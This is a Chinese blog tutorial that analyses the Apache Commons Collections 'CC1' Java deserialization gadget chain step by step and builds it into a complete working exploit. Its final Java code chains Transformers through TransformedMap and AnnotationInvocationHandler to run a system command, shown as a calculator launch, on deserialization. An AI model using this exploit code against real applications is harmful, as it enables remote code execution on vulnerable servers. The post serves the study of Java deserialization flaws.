Java反序列化：CC1链 详解

最新推荐文章于 2024-05-29 07:38:38 发布
最新推荐文章于 2024-05-29 07:38:38 发布
阅读量1k 收藏 4
点赞数 8
分类专栏： Java安全 文章标签： java 开发语言 CC1 CC链 反序列化 反射
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Jayjay___/article/details/133621214
版权

CC1

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库，它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件，Commons Collections被广泛的各种Java应用的开发，⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤，导致了反序列化⽤漏洞的普遍性和严重性。。

commons-collections组件反序列化漏洞的反射链也称为CC链，自从apache commons-collections组件爆出第一个java反序列化漏洞后，就像打开了java安全的新世界大门一样，之后很多java中间件相继都爆出反序列化漏洞。本文分析java反序列化CC1链，前置知识是java安全基础中的反射。

环境搭建：

导入Maven依赖

 <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
 </dependency>

image-20231004113049111

当然也可以 用传统的 lib包下导入add as a library

因为jdk自带的包里面有些文件是反编译的.class文件，我们没法清楚的看懂代码，为了方便我们调试，我们需要将他们转变为.java的文件，这就需要我们安装相应的源码:

下载地址:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

点击左下角的zip即可下载，然后解压。

image-20231004115415115

再进入到相应JDK的文件夹中，里面本来就有个src.zip的压缩包，我们解压到当前文件夹下，然后把之前源码包(jdk-af660750b2f4.zip)中/src/share/classes下的sun文件夹 拷贝到 /jdk8/src文件夹（自己解压同目录下src压缩包）中去。

image-20231004132845280

打开IDEA，选择文件 --->项目结构 --->SDK --->源路径把src文件夹添加到源路径下，保存即可。

image-20231004133132680

CC1链 利用过程分析：

利用链：

先把整段链子给出来，我们再倒推逐个分析。

AnnotationInvocationHandler.readObject()-->
AbstractInputCheckedMapDecorator.MapEntry.setValue()-->
TransformedMap.checkSetValue()-->
ChainedTransformer.transform()-->
InvokerTransformer.transform()

和URLDNS链一样，起点肯定是某个类的readObject()方法，要可序列化必须重写readObject()方法，接受任意对象作为参数。

0x01

CC1链的末尾（入口/源头）就是Commons Collections库中的Tranformer接口，这个接口里面有个transform方法。

image-20231004155422648

查看Tranformer接口中transform方法的实现：

方法一：

image-20231004155508732

image-20231004155753115

方法二： （Ctrl+Alt+F7）

image-20231004155825176

聚焦到包org.apache.commons.collections.functors中的InvokerTransformer类实现了Tranformer接口中transform方法。此方法接收了一个对象，然后反射调用，参数可控就导致了反射调用任意类 任意方法。

image-20231004160416783

我们尝试用InvokerTransformer类中的transform方法弹个计算器（执行命令calc）。

首先看看InvokerTransformer类的有参构造函数怎么用：

image-20231004161356102

实现代码如下：

package com.jiangshiqi.xxx.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.IOException;
import java.lang.reflect.*;

public class CC1 {
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
        //正常 调用可命令执行的方法
        //Runtime.getRuntime().exec("calc");

        Runtime cmd = Runtime.getRuntime();
        //使用反射 调用可命令执行的方法
        //Class clazz = Runtime.class;
        //Method cmdMethod = clazz.getMethod("exec", String.class);
        //cmdMethod.invoke(cmd, "calc");

        //InvokerTransformer类 调用可命令执行的方法
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(cmd);

    }
}

image-20231004162344960

那么链子的最后一步就实现了。

image-20231004210506764

0x02

知道了InvokerTransformer类可以调用transform()方法执行命令，那接下来的思路就是寻找还有其他什么地方调用了InvokerTransformer类的transform()方法。

顺带补充一句，自己找的时候，不要找不同类transform()方法调用InvokerTransformer类的transform()方法，这种情况就是transform()方法再去调用transform()方法，没有意义。

我们是想要回到某个类的readObject()方法，如上情况永远回不去。

image-20231004165710616

**开始进一步找链子。**还是老方法，查找用法。要是找不到的话（卡了我挺久）点击右边maven，选择下载源代码。这样找到的就全了。

image-20231004195055865

image-20231004195331926

重点看到这三个Map集合，在这里就产生了2种CC链，一种是国外原版的，也就是ysoserial里的，另一种是流传到国内的另一个版本。Lazymap是国外的，Transformmap是国内的（我们主要讲这个）。两种方法在本质和原理上一样的。顺便提一嘴，自己挖链子的时候，三个map一般也是选择从Transformedmap类下手，因为结果（用法）多，好下手。

image-20231004195406219

那么我们来分析一下TransformedMap类：

在TransformedMap类中调用了checkSetValue()方法，其中就调用了transform。

image-20231004202548482

调用方式是valueTransformer.transform(value);，那我们要做到可控的话就要找TransformedMap类的构造函数了。

构造函数是有参构造函数，类型是protected，所以不能在外部直接调用，那么我们就要找TransformedMap类哪个方法调用了构造函数。

image-20231004203236432

非常好找，TransformedMap类的decorate方法调用了TransformedMap类的构造函数。

image-20231004203440091

还是老方法查找用法。AbstractInputCheckedMapDecorator类中的MapEntry类的setValue()方法 调用了 TransformedMap类中的checkSetValue()方法

image-20231004204712955

而且我们可以看到AbstractInputCheckedMapDecorator类其实上是Transformedmap的父类。

image-20231004204832300

加上TransformedMap类 和 AbstractInputCheckedMapDecorator类中的MapEntry类 后，我们尝试用代码实现调用计算器。

package com.jiangshiqi.xxx.CC;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
        //正常 调用可命令执行的方法
        //Runtime.getRuntime().exec("calc");
        Runtime cmd = Runtime.getRuntime();

        //原先是
        //new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(cmd);
        InvokerTransformer invoker= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

        Map<Object,Object> map=new HashMap<>();
        map.put("明天返校了","又是一年秋风萧瑟");

        //TransformedMap.decorate方法调用TransformedMap的构造方法。
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invoker);
        //构造方法把invoker实例赋值给TransformedMap.valueTransformer属性。


        //AbstractInputCheckedMapDecorator类中的MapEntry类的setValue()方法（作用是遍历map） 调用了 TransformedMap类中的checkSetValue()方法
        for(Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(cmd);
        }
        //TransformedMap类中的checkSetValue()方法调用了TransformedMap.valueTransformer.transform(value)
        //相当于invoker.transform(value)，value就是上面entry.setValue(cmd)方法的参数cmd。
    }
}

image-20231004211044825

我们的链子进一步完善。

image-20231004211655729

0x03

继续倒推，是什么方法调用了AbstractInputCheckedMapDecorator.MapEntry类的setValue()方法呢？

AnnotationInvocationHandler类的readObject()方法调用了setValue()方法。直接一步到位了。

调用格式是memberValue.setValue(...)。

image-20231004212754934

AnnotationInvocationHandler类没有被public声明（default类型），仅可在同一个包下可访问也就是在外面无法通过名字来调用，因此只可以用反射获取这个类。

image-20231004213016535

再看看这个类的构造方法。参数是一个Class对象，一个Map对象，其中Class继承了Annotation，也就是需要传入一个注解类进去（Target或者Override）。

注解举个例子就是我们经常会见到的@Override。这里我们选择Target，后面会解释。

image-20231004213034252

反射获取这个类 示例代码：

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);

annotationConstructor.setAccessible(true);

Object o = annotationConstructor.newInstance(Target.class, transformedMap);

目前我们的CC1利用EXP已经有了个骨架，但是还是存在些许问题。

package com.jiangshiqi.xxx.CC;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {
        //正常 调用可命令执行的方法
        //Runtime.getRuntime().exec("calc");
        Runtime cmd = Runtime.getRuntime();

        InvokerTransformer invoker = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        Map<Object, Object> map = new HashMap<>();
        map.put("明天返校了", "又是一年秋风萧瑟");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invoker);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        annotationConstructor.setAccessible(true);
        Object obj = annotationConstructor.newInstance(Target.class, transformedMap);
        serialize(obj);  //序列化
        unserialize("ser1.bin"); //反序列化
    }


    //序列化方法
    public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
        oos.writeObject(object);
    }

    //反序列化方法
    public static void unserialize(String filename) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}

目前的链子：

image-20231005115957866

问题们如下：

1、AnnotationInvocationHandler类的readObject()方法调用 的setValue()方法的参数不可控。

image-20231004234839899

2、AnnotationInvocationHandler类的readObject()方法 要是想调用setValue()方法，得绕过两个if判断。

image-20231004235313642

3、EXP中Runtime对象cmd因为Runtime类没有继承Serializable接口，不可以被序列化。

image-20231004234947118

我们先解决问题3：Runtime对象不可以被序列化。

虽然Runtime对象不可以被序列化，但是class可以被序列化。

image-20231004235657507

所以我们从反射下手，用反射实现Runtime。

//使用反射 调用可命令执行的方法
Class clazz = Runtime.class;
Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
Runtime cmd = (Runtime) getRuntimeMethod.invoke(null, null);
Method cmdMethod = clazz.getMethod("exec", String.class);
cmdMethod.invoke(cmd, "calc");

image-20231005000455947

利用Invokertransformer和反射可以成功调用Runtime.getRuntime().exec方法 的代码段如下：

//Class clazz = Runtime.class;
//Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
Method getRunmethod = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);

//Runtime cmd = (Runtime) getRuntimeMethod.invoke(null, null);
Runtime cmd = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRunmethod);

//Method cmdMethod = clazz.getMethod("exec", String.class);
//cmdMethod.invoke(cmd, "calc");
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(cmd);

这三行实现看起来都差不多，其实是transform方法的循环调用。

解释一下第一行Method getRunmethod = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);

第一个括号内的三个参数是 Invokertransformer类的构造函数的参数。传入的第一个参数String代表你需要调用的方法，第二个参数new Class[]数组代表你方法需要的参数类型，第三个参数new Object[]数组代表方法参数的具体值

第二个括号内的一个参数是 Invokertransformer类的transform方法的参数。这个参数是一个类，构造函数传入的参数作为这个类调用的方法。

image-20231005113813969

但是回顾我们的EXP，我们在实现链子TransformedMap.checkSetValue()->InvokerTransformer.transform()时候我们往TransformedMap实例传入了一个InvokerTransformer实例。

但是现在这个InvokerTransformer实例没有了，被拆成了多个，就是上述三行代码，得想个办法统合起来。image-20231005114108754

聚焦到org.apache.commons.collections.functors包下面的ChainedTransformer类。

这个类存在transform方法可以帮我们遍历InvokerTransformer，并且循环调用遍历的InvokerTransformer的transform方法

image-20231005114820687

实现代码段：

//Method getRunmethod = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//Runtime cmd = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRunmethod);
//new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(cmd);

Transformer[] transformerArray=new Transformer[]{
	new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
	new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
	new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
chainedTransformer.transform(Runtime.class);

image-20231005121813523

把上面这段实现代码段写到EXP里面后，还是执行不了命令，因为还有两个问题待解决。

我们再解决问题2：绕过两个if判断。

目前我们的的EXP如下：

package com.jiangshiqi.xxx.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformerArray=new Transformer[]{
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
        
        Map<Object, Object> map = new HashMap<>();
        map.put("明天返校了", "又是一年秋风萧瑟");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        annotationConstructor.setAccessible(true);
        Object obj = annotationConstructor.newInstance(Target.class, transformedMap);
        serialize(obj);  //序列化
        unserialize("ser1.bin"); //反序列化
    }

    //序列化方法
    public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
        oos.writeObject(object);
    }

    //反序列化方法
    public static void unserialize(String filename) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}

我们调试一下，会发现到第一个if判断时，条件是memberType != null。目前我们的memberType是空（null）。第一个if就过不去。

image-20231005125916992

仔细审计源码后发现，memberType是获取注解中成员变量的名称，然后并且检查HashMap键值对中键名是否是对应的名称。注解类（Target或者Override）

image-20231005131144915

这里解释为什么前文注解类我们使用Target而不是Override。因为Override没有成员变量，而Target有成员变量名称是value。

image-20231006121744681

image-20231006121655056

因此我们的EXP进行如下修改：

image-20231006121918653

调试，成功进入第一个if。

image-20231006121954432

第二个if判断能不能强转，我们传的肯定强转不了，就一定能过。

最后我们来解决我们的问题1 ：AnnotationInvocationHandler类的readObject()方法调用 的setValue()方法的参数不可控。

image-20231006122148768

我们的目标是使得setValue()方法的参数是Runtime.class。

聚焦到org.apache.commons.collections.functors包下的ConstantTransformer类。它里面的transform就是返回我们传入的对象，如果我们传入Runtime.class，那返回的也即是Runtime.class。我们可以利用ConstantTransformer类解决问题1。

image-20231006124441941

最终EXP如下：

package com.jiangshiqi.xxx.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformerArray=new Transformer[]{
                new ConstantTransformer(Runtime.class),        //解决问题一：AnnotationInvocationHandler类的readObject()方法调用 的setValue()方法的参数不可控
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);

        Map<Object, Object> map = new HashMap<>();
        map.put("value", "又是一年秋风萧瑟");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        annotationConstructor.setAccessible(true);
        Object obj = annotationConstructor.newInstance(Target.class, transformedMap);
        
        serialize(obj);
        unserialize("ser1.bin"); 
    }


    //序列化方法
    public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
        oos.writeObject(object);
    }

    //反序列化方法
    public static void unserialize(String filename) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}

image-20231006124539127

最终链子：（其实和上一次一样，就是解决了一些问题）

image-20231006130141968

在jdk1.8.0.71中修复了AnnotationInvocationHandler类的readObject方法，因此CC1无效了其他的链出现了。

前文提到CC1链分国外（Lazymap）国内（Transformmap），我们刚刚跟的是国内的，yso的CC1是国外的。国外CC1链如下。

image-20231004113901487

CC1到此就结束啦，作为人生中第一条反序列化链，学的确实艰辛，也留下了一些还不太理解的地方。但是学习毕竟不是一蹴而就的，前路漫漫我们慢慢学。

Jay 17
关注
  • 8
    点赞
  • 踩
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论
专栏目录
如何利用Jackson序列化忽略指定类型的属性详解
08-26
Jackson 序列化忽略指定类型的属性详解 Jackson 序列化是 Java 世界中最流行的序列化框架之一，对于 Apache Avro 对象的序列化提供了详细的解决方案。在本文中，我们将介绍如何利用 Jackson 序列化忽略指定类型的...
game-sokoban-swing:推箱子swing版本
05-18
当需要加载游戏时，再反序列化恢复游戏状态。 8. **异常处理**：在开发过程中，应充分考虑可能出现的异常情况，并进行妥善处理，以提高程序的健壮性。 通过以上知识点的学习和实践，不仅可以掌握Java Swing的基本...
Java安全研究——反序列化漏洞之CC链
weixin_43889136的博客
04-13 4080
0x01前言 apachecommons-collections组件下的反序列化漏洞，自从该组件被爆出漏洞后，许多安全研究员相继挖掘到java多种组件的漏洞，危害严重。本人也是初学Java审计不久，技术薄弱，所以在此做一个cc链的学习总结，如有错误还请大佬指出。 若本文有侵权行为，请立即私信，将全面修正。 0x02漏洞环境 JDK1.8 Apache Commons Collections 3.2版本 0x03反序列化漏洞 序列化是将对象的状态信息转换为可以存储或传输的形式的过程，通俗的说，.
CC1链分析
sunyufei_666的博客
06-15 254
第一个是memberType类型不为空值，这里type是传入的Override.class，annotationType.memberTypes()为调用出入class的成员方法，所以，传入的class类中必须存在成员方法，且成员变量的key值必须与map中的key值相同，而Override.class的成员方法为空值，所以这里可以选择Target.class作为参数。这里有两个if，如果这两个if的条件为false时，无法调用里面的setValue方法。
Java安全 反序列化(3) CC1链-TransformedMap版
最新发布
Innocence_0的博客
05-29 1124
核心概念入口类必须重写readObject通过不同类的同名方法进行跳转连接下一篇我们从LazyMap出发实现RCE接下来我将给各位同学划分一张学习计划表！
java代码审计之CC1链（一）
st3pby的博客
02-20 3781
InvokerTransformerCC1链的漏洞点位于InvokerTransformer.class中反射加载参数可控那么只需要调用到这个点，就可以触发漏洞，可以参考ysoserial中的CC1利用ysoserial中的CC1链，是使用LazyMap构造的，LazyMap构造的整条攻击路径为。
CC链入门
why811的博客
08-21 343
我们已经知道了序列化和反序列化漏洞的基本原理，那么怎么通过构造恶意数据，让反序列化产生非预期对象呢？当中有一个组件叫做，主要封装了Java的相关类对象，它提供了很多强有力的数据结构类型并且实现了各种集合工具类。collection是set，list，queue的抽象。作为Apache开源项目的重要组件，Commons Collections被广泛应用于各种Java应用的开发，而正是因为在大量web应用程序中这些类的实现以及方法的调用，导致了反序列化用漏洞的普遍性和严重性。
Java安全入门(二)——CC链1 分析+详解
热门推荐
weixin_45808483的博客
01-29 1万+
背景 在2015年11月6日FoxGlove Security安全团队的@breenmachine 发布了一篇长博客里，借用Java反序列化和Apache Commons Collections这一基础类库实现远程命令执行的真实案例来到人们的视野，各大Java Web Server纷纷躺枪，这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。 从Apache CommonsCollections 说起。 Apache C...
protobuf基本操作1
08-08
1. 数据存储：protobuf 可以用于数据存储，例如将数据序列化到文件或数据库中。 2. 通信协议：protobuf 可以用于定义通信协议，例如在客户端和服务器之间传输数据。 3. 配置文件：protobuf 可以用于配置文件，例如将...
protobuf C++库
05-09
在C++环境中，protobuf库提供了方便的数据序列化和反序列化功能，使得数据存储和网络通信变得更加便捷。 **一、protobuf语法基础** 1. 定义消息类型：protobuf使用.proto文件来定义消息结构，如： ```proto syntax...
chexworks-tools:在Processing中创建的实时视觉效果工具集合
04-22
它的语法基于Java，但更加简洁，易于上手，使得非专业程序员也能快速进行可视化创作。 1. **GeneWo - 单词生成器** GeneWo 是一个使用Processing编写的工具，能够自动生成随机的单词。它可能采用了算法来组合字母...
java反序列化cc链
wanan的博客
01-24 364
java反序列化cc链
Java反序列化CC链分析
阿道夫的博客
02-06 570
Apache Commons是Apache软件基金会的项目，曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成：Proper（是一些已发布的项目）、Sandbox（是一些正在开发的项目）和Dormant（是一些刚启动或者已经停止维护的项目）。Commons Collections包为Java标准的CollectionsAPI提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。
cc链1分析
Sk1y的博客
04-08 727
cc链1分析 文章目录cc链1分析jdk版本依赖测试弹计算器用反射去调用Runtime，去弹一个计算器倒序找链危险函数InvokerTransformer-->transformerTransformedMapMapEntry入口AnnotationInvocationHandlerRuntime序列化ChainedTransformer类对其简化继续调试 jdk版本 jdk版本：jdk8u65 因为在jdk8u71的时候，已经修复了 下载相应的jdk版本，去下面这个链接 https://www.or
Java安全研究——反序列化漏洞之CC2链
weixin_43889136的博客
05-10 1521
0x01
java-CC链1分析
qq_62613905的博客
01-30 445
java-CC链分析
JavaSec 基础之 CC1 链
akdelt的博客
03-11 438
调用了 checkSetValue。而且它是 TransformedMap 的父类。
Java反序列化之CommonsCollections CC1链分析
shelter1234567的博客
09-07 546
cc链的研究可以说是非常适合java代码审计的入门篇了，十分考验java代码功力，其实也是基础功，跨过了这个门槛，在看看其他业务代码就会比较轻松了。不要说代码难，看不懂，作者也是刚入门java没几个月的小白，只要基本功扎实，慢慢看 慢慢调式。你也会慢慢明白其中的运行逻辑。commons-collections 是 Apache Commons 项目中的一个子项目，它提供了一组有用的集合类，这些类扩展了 Java 标准库中的集合类，并提供了许多额外的功能。
Java反序列化之CC1
一剑开天门！的博客
03-02 464
Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ，主要封装了Java 的 Collection(集合) 相关类对象，它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类。作为Apache开源项⽬的重要组件，Commons Collections被⼴泛应⽤于各种Java应⽤的开发，⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤，导致了反序列化⽤漏洞的普遍性和严重性
java 对象序列化与反序列使用详解
08-31
Java 对象的序列化是将对象的状态转换为字节流，以便将其存储在文件中或通过网络进行传输。而反序列化则是将字节流重新转换为对象，以便在程序中重新使用。 对象的序列化主要涉及到两个接口，即 Serializable 和 Externalizable。Serializable 接口是 Java 标准序列化机制的简单版本，所有需要序列化的类都需要实现这个接口。而 Externalizable 接口则需要自己实现序列化和反序列化的方法。 在进行对象序列化时，可以使用 ObjectOutputStream 类来实现。通过这个类的 writeObject() 方法，可以将对象写入到输出流中。而在进行反序列化时，可以使用 ObjectInputStream 类来实现。通过这个类的 readObject() 方法，可以将字节流重新转换为对象。 对象序列化的主要用途包括： 1. 对象的持久化：通过将对象序列化后存储在文件中，可以实现对象的持久化，当程序再次启动时，可以反序列化读取文件并重新获取对象的状态。 2. 对象的传输：通过将对象序列化后通过网络传输，可以实现在不同计算机之间的对象传递。 在进行对象序列化时，需要注意以下几点： 1. 需要被序列化的对象和其引用的对象，都需要实现 Serializable 接口。 2. 对于不希望被序列化的属性，可以使用 transient 关键字进行标记。 3. 如果序列化的是一个对象的成员变量，而不是整个对象，那么成员变量对应的类也需要实现 Serializable 接口。 总之，Java 对象序列化和反序列化是一种非常有用的机制，它可以将对象的状态转换为字节流进行存储或传输，以便在需要时重新获取对象。通过使用序列化机制，我们可以实现对象的持久化和传输，使得编程更加灵活和便捷。
评论 4
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Jay 17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值